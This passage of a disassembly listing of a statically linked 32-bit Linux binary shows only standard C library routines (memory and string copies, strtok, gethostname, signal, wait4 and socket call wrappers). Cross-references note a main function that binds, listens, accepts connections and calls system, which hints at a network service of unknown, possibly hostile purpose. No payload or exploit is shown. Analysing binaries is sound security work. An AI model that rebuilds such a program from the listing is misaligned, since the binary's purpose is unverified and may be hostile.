		lea	eax, [edx+3]

loc_80564FF:				; CODE XREF: bcopy+7Aj
		sar	eax, 2
		mov	ecx, eax
		std
		repe movsd
		cld
		add	edi, 4
		add	esi, 4
		mov	eax, edx
		test	edx, edx
		jge	short loc_8056517
		lea	eax, [edx+3]

loc_8056517:				; CODE XREF: bcopy+92j
		and	al, 0FCh
		sub	edx, eax

loc_805651B:				; CODE XREF: bcopy+5Fj
		dec	edi
		dec	esi
		mov	ecx, edx
		std
		repe movsb
		cld

loc_8056523:				; CODE XREF: bcopy+10j	bcopy+54j
		lea	esp, [ebp+var_8]
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
bcopy		endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

memcpy		proc near		; CODE XREF: send_packet+151p
					; get_haddr+24p ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		mov	edi, ebx
		mov	esi, [ebp+arg_4]
		cmp	edx, 7
		jbe	short loc_805655D
		mov	eax, ebx
		neg	eax
		and	eax, 3
		sub	edx, eax
		mov	ecx, eax
		cld
		repe movsb
		mov	eax, edx
		shr	eax, 2
		mov	ecx, eax
		cld
		repe movsd
		and	edx, 3

loc_805655D:				; CODE XREF: memcpy+14j
		mov	ecx, edx
		cld
		repe movsb
		mov	eax, ebx
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
memcpy		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 2 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8056570	proc near		; CODE XREF: init_services_resolv+11Ep
					; sub_8054C7C+3Cp ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		mov	edi, ebx
		mov	esi, [ebp+arg_4]
		mov	eax, ebx
		sub	eax, esi
		cmp	eax, edx
		jb	short loc_80565B0
		cmp	edx, 7
		jbe	short loc_80565A9
		mov	eax, ebx
		neg	eax
		and	eax, 3
		sub	edx, eax
		mov	ecx, eax
		cld
		repe movsb
		mov	eax, edx
		shr	eax, 2
		mov	ecx, eax
		cld
		repe movsd
		and	edx, 3

loc_80565A9:				; CODE XREF: sub_8056570+1Cj
		mov	ecx, edx
		cld
		repe movsb
		jmp	short loc_80565EA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80565B0:				; CODE XREF: sub_8056570+17j
		add	esi, edx
		add	edi, edx
		cmp	edx, 7
		jbe	short loc_80565E2
		mov	eax, edi
		and	eax, 3
		sub	edx, eax
		dec	edi
		dec	esi
		mov	ecx, eax
		std
		repe movsb
		cld
		add	edi, 0FFFFFFFDh
		add	esi, 0FFFFFFFDh
		mov	eax, edx
		shr	eax, 2
		mov	ecx, eax
		std
		repe movsd
		cld
		add	edi, 4
		add	esi, 4
		and	edx, 3

loc_80565E2:				; CODE XREF: sub_8056570+47j
		dec	edi
		dec	esi
		mov	ecx, edx
		std
		repe movsb
		cld

loc_80565EA:				; CODE XREF: sub_8056570+3Ej
		mov	eax, ebx
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8056570	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 2 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80565F8	proc near		; CODE XREF: dotrimdomain+4Ep
					; getanswer+248p ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		cmp	esi, ebx
		jnz	short loc_805660C
		xor	eax, eax
		jmp	short loc_8056633
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805660C:				; CODE XREF: sub_80565F8+Ej
		movzx	eax, byte ptr [esi]
		mov	edi, dword_8078FA4
		jmp	short loc_8056621
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8056618:				; CODE XREF: sub_80565F8+39j
		test	cl, cl
		jz	short loc_8056633
		inc	esi
		inc	ebx
		movzx	eax, byte ptr [esi]

loc_8056621:				; CODE XREF: sub_80565F8+1Dj
		mov	cl, [edi+eax*4]
		movzx	edx, cl
		movzx	eax, byte ptr [ebx]
		sub	edx, [edi+eax*4]
		mov	eax, edx
		test	eax, eax
		jz	short loc_8056618

loc_8056633:				; CODE XREF: sub_80565F8+12j
					; sub_80565F8+22j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_80565F8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

strcpy		proc near		; CODE XREF: reorder_addrs+E5p
					; reorder_addrs+1A5p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	ecx, ebx
		sub	ecx, edx
		dec	ecx
		nop

loc_8056650:				; CODE XREF: strcpy+18j
		mov	al, [edx]
		inc	edx
		mov	[ecx+edx], al
		test	al, al
		jnz	short loc_8056650
		mov	eax, ebx
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
strcpy		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

strdup		proc near		; CODE XREF: gethostbyname+1C1p
					; gethostbyname+221p ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		xor	al, al
		mov	edi, esi
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	ebx, ecx
		not	ebx
		push	ebx
		call	malloc
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_8056698
		push	ebx
		push	esi
		push	edi
		call	memcpy
		mov	eax, edi
		jmp	short loc_805669A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8056698:				; CODE XREF: strdup+26j
		xor	eax, eax

loc_805669A:				; CODE XREF: strdup+32j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
strdup		endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80566A4	proc near		; CODE XREF: sub_804E638+1Fp
					; sub_804E694+1Fp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	offset unk_807AC6C
		push	eax
		call	sub_8056E14
		mov	esp, ebp
		pop	ebp
		retn
sub_80566A4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

checkbuf	proc near		; CODE XREF: init_services_resolv+131p
					; init_services_resolv+1CEp ...

var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		cmp	esi, ebx
		jz	loc_80567FE
		dec	ecx
		cmp	ecx, 0FFFFFFFFh
		jz	loc_80567FE
		mov	edi, dword_8078FA4
		mov	eax, ecx
		not	eax
		and	eax, 3
		cmp	ecx, 0FFFFFFFFh
		jle	short loc_8056756
		test	eax, eax
		jz	loc_8056784
		cmp	eax, 3
		jge	short loc_8056756
		cmp	eax, 2
		jge	short loc_805672D
		movzx	eax, byte ptr [esi]
		mov	al, [edi+eax*4]
		mov	[ebp+var_4], al
		movzx	edx, al
		movzx	eax, byte ptr [ebx]
		sub	edx, [edi+eax*4]
		mov	eax, edx
		test	eax, eax
		jnz	loc_8056800
		cmp	[ebp+var_4], 0
		jz	loc_80567FE
		inc	esi
		inc	ebx
		dec	ecx

loc_805672D:				; CODE XREF: checkbuf+46j
		movzx	eax, byte ptr [esi]
		mov	al, [edi+eax*4]
		mov	[ebp+var_8], al
		movzx	edx, al
		movzx	eax, byte ptr [ebx]
		sub	edx, [edi+eax*4]
		mov	eax, edx
		test	eax, eax
		jnz	loc_8056800
		cmp	[ebp+var_8], 0
		jz	loc_80567FE
		inc	esi
		inc	ebx
		dec	ecx

loc_8056756:				; CODE XREF: checkbuf+34j checkbuf+41j
		movzx	eax, byte ptr [esi]
		mov	al, [edi+eax*4]
		mov	[ebp+var_C], al
		movzx	edx, al
		movzx	eax, byte ptr [ebx]
		sub	edx, [edi+eax*4]
		mov	eax, edx
		test	eax, eax
		jnz	loc_8056800
		cmp	[ebp+var_C], 0
		jz	loc_80567FE
		inc	esi
		inc	ebx
		dec	ecx
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_80567FE

loc_8056784:				; CODE XREF: checkbuf+38j
		mov	[ebp+var_10], ecx
		nop

loc_8056788:				; CODE XREF: checkbuf+140j
		movzx	eax, byte ptr [esi]
		mov	cl, [edi+eax*4]
		movzx	edx, cl
		movzx	eax, byte ptr [ebx]
		sub	edx, [edi+eax*4]
		mov	eax, edx
		test	eax, eax
		jnz	short loc_8056800
		test	cl, cl
		jz	short loc_80567FE
		inc	esi
		inc	ebx
		movzx	eax, byte ptr [esi]
		mov	cl, [edi+eax*4]
		movzx	edx, cl
		movzx	eax, byte ptr [ebx]
		sub	edx, [edi+eax*4]
		mov	eax, edx
		test	eax, eax
		jnz	short loc_8056800
		test	cl, cl
		jz	short loc_80567FE
		inc	esi
		inc	ebx
		movzx	eax, byte ptr [esi]
		mov	cl, [edi+eax*4]
		movzx	edx, cl
		movzx	eax, byte ptr [ebx]
		sub	edx, [edi+eax*4]
		mov	eax, edx
		test	eax, eax
		jnz	short loc_8056800
		test	cl, cl
		jz	short loc_80567FE
		inc	esi
		inc	ebx
		movzx	eax, byte ptr [esi]
		mov	cl, [edi+eax*4]
		movzx	edx, cl
		movzx	eax, byte ptr [ebx]
		sub	edx, [edi+eax*4]
		mov	eax, edx
		test	eax, eax
		jnz	short loc_8056800
		test	cl, cl
		jz	short loc_80567FE
		inc	esi
		inc	ebx
		add	[ebp+var_10], 0FFFFFFFCh
		cmp	[ebp+var_10], 0FFFFFFFFh
		jnz	short loc_8056788

loc_80567FE:				; CODE XREF: checkbuf+14j checkbuf+1Ej ...
		xor	eax, eax

loc_8056800:				; CODE XREF: checkbuf+5Ej checkbuf+87j ...
		lea	esp, [ebp+var_1C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
checkbuf	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 2 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

strncpy		proc near		; CODE XREF: res_init+E2p
					; res_init+24Cp ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_4]
		mov	ebx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		lea	edx, [edi-1]
		cmp	ebx, 3
		jbe	short loc_805686C
		mov	esi, ebx
		shr	esi, 2
		mov	al, [ecx]
		inc	ecx
		mov	edx, edi
		mov	[edi], al
		test	al, al
		jz	short loc_805685F
		nop

loc_8056834:				; CODE XREF: strncpy+51j
		mov	al, [ecx]
		inc	ecx
		inc	edx
		mov	[edx], al
		test	al, al
		jz	short loc_805685F
		mov	al, [ecx]
		inc	ecx
		inc	edx
		mov	[edx], al
		test	al, al
		jz	short loc_805685F
		mov	al, [ecx]
		inc	ecx
		inc	edx
		mov	[edx], al
		test	al, al
		jz	short loc_805685F
		dec	esi
		jz	short loc_805686C
		mov	al, [ecx]
		inc	ecx
		inc	edx
		mov	[edx], al
		test	al, al
		jnz	short loc_8056834

loc_805685F:				; CODE XREF: strncpy+25j strncpy+30j ...
		mov	eax, edx
		sub	eax, edi
		sub	ebx, eax
		dec	ebx
		jnz	short loc_8056881
		jmp	short loc_80568C3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805686C:				; CODE XREF: strncpy+15j strncpy+47j
		and	ebx, 3
		jz	short loc_80568C3
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_8056874:				; CODE XREF: strncpy+73j
		mov	al, [ecx]
		inc	ecx
		inc	edx
		mov	[edx], al
		dec	ebx
		jz	short loc_80568C3
		test	al, al
		jnz	short loc_8056874

loc_8056881:				; CODE XREF: strncpy+5Aj
		mov	eax, ebx
		neg	eax
		and	eax, 3
		test	ebx, ebx
		jle	short loc_80568A4
		test	eax, eax
		jz	short loc_80568AC
		cmp	eax, 3
		jge	short loc_80568A4
		cmp	eax, 2
		jge	short loc_805689F
		inc	edx
		mov	byte ptr [edx],	0
		dec	ebx

loc_805689F:				; CODE XREF: strncpy+8Cj
		inc	edx
		mov	byte ptr [edx],	0
		dec	ebx

loc_80568A4:				; CODE XREF: strncpy+7Ej strncpy+87j
		inc	edx
		mov	byte ptr [edx],	0
		dec	ebx
		jz	short loc_80568C3
		nop

loc_80568AC:				; CODE XREF: strncpy+82j strncpy+B5j
		mov	byte ptr [edx+1], 0
		mov	byte ptr [edx+2], 0
		mov	byte ptr [edx+3], 0
		add	edx, 4
		mov	byte ptr [edx],	0
		add	ebx, 0FFFFFFFCh
		jnz	short loc_80568AC

loc_80568C3:				; CODE XREF: strncpy+5Cj strncpy+63j ...
		mov	eax, edi
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
strncpy		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

strtok		proc near		; CODE XREF: init_services_resolv+A7Dp
					; init_services_resolv+B4Dp ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		test	ebx, ebx
		jnz	short loc_80568FE
		cmp	dword_8078AFC, 0
		jnz	short loc_80568F8
		mov	__errno, 16h
		xor	eax, eax
		jmp	short loc_8056948
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80568F8:				; CODE XREF: strtok+17j
		mov	ebx, dword_8078AFC

loc_80568FE:				; CODE XREF: strtok+Ej
		push	edi
		push	ebx
		call	sub_8057DB0
		add	ebx, eax
		add	esp, 8
		cmp	byte ptr [ebx],	0
		jnz	short loc_8056920
		mov	dword_8078AFC, 0
		xor	eax, eax
		jmp	short loc_8056948
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8056920:				; CODE XREF: strtok+3Dj
		mov	esi, ebx
		push	edi
		push	esi
		call	strpbrk
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_805693C
		mov	dword_8078AFC, 0
		jmp	short loc_8056946
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805693C:				; CODE XREF: strtok+5Dj
		mov	byte ptr [ebx],	0
		inc	ebx
		mov	dword_8078AFC, ebx

loc_8056946:				; CODE XREF: strtok+69j
		mov	eax, esi

loc_8056948:				; CODE XREF: strtok+25j strtok+4Bj
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
strtok		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 2 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

gethostname	proc near		; CODE XREF: _gethtbyname+78p
					; res_init+6A3p

var_190		= byte ptr -190h
var_188		= byte ptr -188h
var_147		= byte ptr -147h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 188h
		push	edi
		push	ebx
		mov	ebx, [ebp+arg_0]
		test	ebx, ebx
		jz	short loc_80569A0
		lea	eax, [ebp+var_188]
		push	eax
		call	uname
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_80569AA
		lea	edx, [ebp+var_147]
		xor	al, al
		mov	edi, edx
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	eax, ecx
		not	eax
		cmp	[ebp+arg_4], eax
		jb	short loc_80569A0
		push	edx
		push	ebx
		call	strcpy
		xor	eax, eax
		jmp	short loc_80569AF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80569A0:				; CODE XREF: gethostname+10j
					; gethostname+3Fj
		mov	__errno, 16h

loc_80569AA:				; CODE XREF: gethostname+24j
		mov	eax, 0FFFFFFFFh

loc_80569AF:				; CODE XREF: gethostname+4Aj
		lea	esp, [ebp+var_190]
		pop	ebx
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
gethostname	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

signal		proc near		; CODE XREF: main+9Cp main+BDp ...

var_20		= dword	ptr -20h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], 0
		mov	[ebp+var_8], 0E0000000h
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	edx
		call	sigaction
		mov	edx, 0FFFFFFFFh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_80569F4
		mov	edx, [ebp+var_20]

loc_80569F4:				; CODE XREF: signal+33j
		mov	eax, edx
		mov	esp, ebp
		pop	ebp
		retn
signal		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 2 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

wait4		proc near		; CODE XREF: system+147p

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		mov	eax, 72h
		xor	esi, esi
		int	80h		; LINUX	- sys_wait4
		test	eax, eax
		jge	short loc_8056A23
		neg	eax
		mov	__errno, eax
		mov	eax, 0FFFFFFFFh

loc_8056A23:				; CODE XREF: wait4+19j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
wait4		endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

accept		proc near		; CODE XREF: main+865p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], ecx
		mov	edx, 5
		lea	ecx, [ebp+var_C]
		mov	eax, 66h
		mov	ebx, edx
		int	80h		; LINUX	- sys_socketcall
		mov	edx, eax
		test	edx, edx
		jge	short loc_8056A69
		neg	edx
		mov	__errno, edx
		mov	edx, 0FFFFFFFFh

loc_8056A69:				; CODE XREF: accept+2Ej
		mov	eax, edx
		mov	ebx, [ebp+var_10]
		mov	esp, ebp
		pop	ebp
		retn
accept		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 2 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

bind		proc near		; CODE XREF: main+839p	sub_8066A50+ACp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], ecx
		mov	edx, 2
		lea	ecx, [ebp+var_C]
		mov	eax, 66h
		mov	ebx, edx
		int	80h		; LINUX	- sys_socketcall
		mov	edx, eax
		test	edx, edx
		jge	short loc_8056AB1
		neg	edx
		mov	__errno, edx
		mov	edx, 0FFFFFFFFh

loc_8056AB1:				; CODE XREF: bind+2Ej
		mov	eax, edx
		mov	ebx, [ebp+var_10]
		mov	esp, ebp
		pop	ebp
		retn
bind		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 2 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

connect		proc near		; CODE XREF: sub_804EA0C+215p
					; sub_804EA0C+52Cp ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], ecx
		mov	edx, 3
		lea	ecx, [ebp+var_C]
		mov	eax, 66h
		mov	ebx, edx
		int	80h		; LINUX	- sys_socketcall
		mov	edx, eax
		test	edx, edx
		jge	short loc_8056AF9
		neg	edx
		mov	__errno, edx
		mov	edx, 0FFFFFFFFh

loc_8056AF9:				; CODE XREF: connect+2Ej
		mov	eax, edx
		mov	ebx, [ebp+var_10]
		mov	esp, ebp
		pop	ebp
		retn
connect		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 2 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

listen		proc near		; CODE XREF: main+847p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], edx
		mov	edx, 4
		lea	ecx, [ebp+var_8]
		mov	eax, 66h
		mov	ebx, edx
		int	80h		; LINUX	- sys_socketcall
		mov	edx, eax
		test	edx, edx
		jge	short loc_8056B3B
		neg	edx
		mov	__errno, edx
		mov	edx, 0FFFFFFFFh

loc_8056B3B:				; CODE XREF: listen+28j
		mov	eax, edx
		mov	ebx, [ebp+var_C]
		mov	esp, ebp
		pop	ebp
		retn
listen		endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

recv		proc near		; CODE XREF: main+191p	main+896p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_4], eax
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], edx
		mov	[ebp+var_8], ecx
		mov	edx, 0Ah
		lea	ecx, [ebp+var_10]
		mov	eax, 66h
		mov	ebx, edx
		int	80h		; LINUX	- sys_socketcall
		mov	edx, eax
		test	edx, edx
		jge	short loc_8056B87
		neg	edx
		mov	__errno, edx
		mov	edx, 0FFFFFFFFh

loc_8056B87:				; CODE XREF: recv+34j
		mov	eax, edx
		mov	ebx, [ebp+var_14]
		mov	esp, ebp
		pop	ebp
		retn
recv		endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

recvfrom	proc near		; CODE XREF: sub_804EA0C+76Bp
					; sub_8064438+2FEp

var_24		= byte ptr -24h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	edi
		push	esi
		push	ebx
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_14]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], edx
		mov	[ebp+var_10], ecx
		mov	ebx, [ebp+arg_C]
		mov	[ebp+var_C], ebx
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], edi
		mov	edx, 0Ch
		lea	ecx, [ebp+var_18]
		mov	eax, 66h
		mov	ebx, edx
		int	80h		; LINUX	- sys_socketcall
		mov	edx, eax
		test	edx, edx
		jge	short loc_8056BE1
		neg	edx
		mov	__errno, edx
		mov	edx, 0FFFFFFFFh

loc_8056BE1:				; CODE XREF: recvfrom+42j
		mov	eax, edx
		lea	esp, [ebp+var_24]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
recvfrom	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

send		proc near		; CODE XREF: main+8F7p
					; sub_804EA0C+576p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
